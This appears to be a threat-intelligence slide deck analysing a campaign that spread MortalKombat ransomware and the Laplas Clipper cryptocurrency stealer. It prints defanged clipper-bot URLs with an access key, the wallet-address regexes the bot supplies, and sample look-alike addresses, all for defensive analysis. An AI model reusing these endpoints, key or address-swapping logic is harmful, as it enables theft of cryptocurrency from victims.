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Who am I?



Cryptocurrencies 
makes the cyber 
criminal world 

go round



Cybercriminals 
popular choice

Irreversibility of transactions

Anonymity

Lack of Central Authority

Global Accessibility
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Different ways the cybercriminals are exploiting the cryptocurrencies

Exchange hacks Malware and 
Ransomware

Investment FraudsPhishing and Scams

Cryptojacking Darknet MarketplacesMoney Laundering 
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Exploiting for their own gains



Campaign

Ongoing since at least December 2022 

Deploying MortalKombat ransomware and 
Laplas clipper malware

Targeting Individuals, small business and large 
organizations aim to steal cryptocurrencies
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Victimology

• U.S.

• U.K.

• Turkey

• Philippines



Multi-stage attack chain



Cryptocurrency-themed lure



Malicious BAT Loaders

MortalKombat Ransomware

Laplas Clipper Malware



MortalKombat

A Novel ransomware, discovered in Jan 2023

Time stomping, decrypt encrypted data from 
resource section, generating target files 
extensions

Establishes persistence in Run registry keys 
and configures the defaulticon and shellopen 
registry keys 

Discovers and maps logical drives, 
enumerates and encrypts the target files
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Mortalkombat freeze the windows OS

• Removes application 
and folders from 
Windows Startup

• Disables Windows 
run application

• Deletes root registry  
keys of the installed 
applications

• Corrupts the deleted 
files in the recycle 
bin folder and 
changes the file 
names and types

“..Remember_you_got_only_24_hours_to_make_the_payment_if_you_
dont_pay_prize_will_triple_Mortal_Kombat_Ransomware”



MortalKombat ransom note and wallpaper



Bindiff of MortalKombat and Xorist ransomware



MortalKombat is likely an Xorist ransomware variant



Laplas Clipper

Relatively a new clipboard stealer

Written in GO language 

Available for relatively low cost 

Laplas clipper developers are actively 
producing new variants
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Available with several variants



Decryption routine that decodes and 
decrypts strings 

Uses decrypted strings to establish 
persistence

Creates windows task to run the clipper 
malware every minute for 416 days 

Targets various cryptocurrency wallet address

1” blue 
icon

1” 
orange 

icon

1” yellow
orange 

icon

1” 
yellow

icon



Clipping functionality

• Constantly monitors 
victim’s clipboard for 
cryptocurrency wallet 
address by matching 
with the regular 
expression patterns

Monitors clipboard

• Registers with the attacker-
controlled clipper bot

• Receives regular expression 
patterns for cryptocurrency 
wallet address

Registers victim’s 
machine with clipper bot

• Sends the victim’s cryptocurrency 
wallet address to the clipper bot

Exfiltration

• Clipper bot generates and sends back 
a look-alike wallet address to the 
clipper malware

• Clipper malware overwrites the 
original wallet address in the clipboard 
with the look-alike wallet address

Enables fraudulent 
crypto transaction

Laplas 
Clipper 

Malware
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Clipper communication with clipper bot

hxxp[://]clipper[.]guru/bot/online?guid=<DESKTOPNAME>\<USERID>&key=db7db0e38e9ab3e5e7a2b9c3bd7244f4f2221d6fef4b9c2b51e4a8ff6aea925c

hxxp[://]clipper[.]guru/bot/regex?key=db7db0e38e9ab3e5e7a2b9c3bd7244f4f2221d6fef4b9c2b51e4a8ff6aea925c

hxxp[://]clipper[.]guru/bot/get?address=<Victims address >&key=db7db0e38e9ab3e5e7a2b9c3bd7244f4f2221d6fef4b9c2b51e4a8ff6aea925c

Receives regex patterns

Registers with clipper bot

Exfiltrates wallet address



Regex patterns sent from clipper bot

Regular expressions received Cryptocurrencies

1[1-9A-HJ-NP-Za-km-z]{32,33}
3[1-9A-HJ-NP-Za-km-z]{32,33}
X[1-9A-HJ-NP-Za-km-z]{33}
[1-9A-HJ-NP-Za-km-z]{44}

Dash

Bc1q[023456789acdefghjklmnpqrstuvwxyz]{38,58} Bitcoin

q[a-z0-9]{41}
p[a-z0-9]{41}

Bitcoin Cash

L[a-km-zA-HJ-NP-Z0-9]{33}
M[a-km-zA-HJ-NP-Z0-9]{33}

Zcash

ltc1q[a-zA-Z0-9]{38} Litecoin

0x[a-fA-F0-9]{40} Ethereum

Bnb1[0-9a-z]{38} Binance coin

D[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32} Dogecoin

Regular expressions received Cryptocurrencies

4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}
8[0-9AB][1-9A-HJ-NP-Za-km-z]{93}

Monero

r[0-9a-zA-Z]{33} Ripple

t1[a-km-zA-HJ-NP-Z1-9]{33} Tezos

ronin:[a-fA-F0-9]{40} Ronin

T[A-Za-z1-9]{33} Tron

addr1[a-z0-9]+ Cardano

cosmos1[a-z0-9]{38} Cosmos



Sample Look-alike wallet address from clipper bot

Cryptocurrency wallet address sent from the 
analysis machine

Cryptocurrency wallet address received from 
the Clipper bot

0x516DE893B9c9430066bC1116Feaa6E09A6349d83 0x516Acfd0bae6e65A45e0808c6Ae7560d9622B246

0xbd0b7a89674A0CFf1870b5aC65578b39172979f9 0xbd04EeD05CE7C532670A4564Ae6acbE849a7dB97



Take aways
Use Secure wallets

Stay Vigilant

Follow best practices for online security

Exercise caution when engaging with 
cryptocurrency activities
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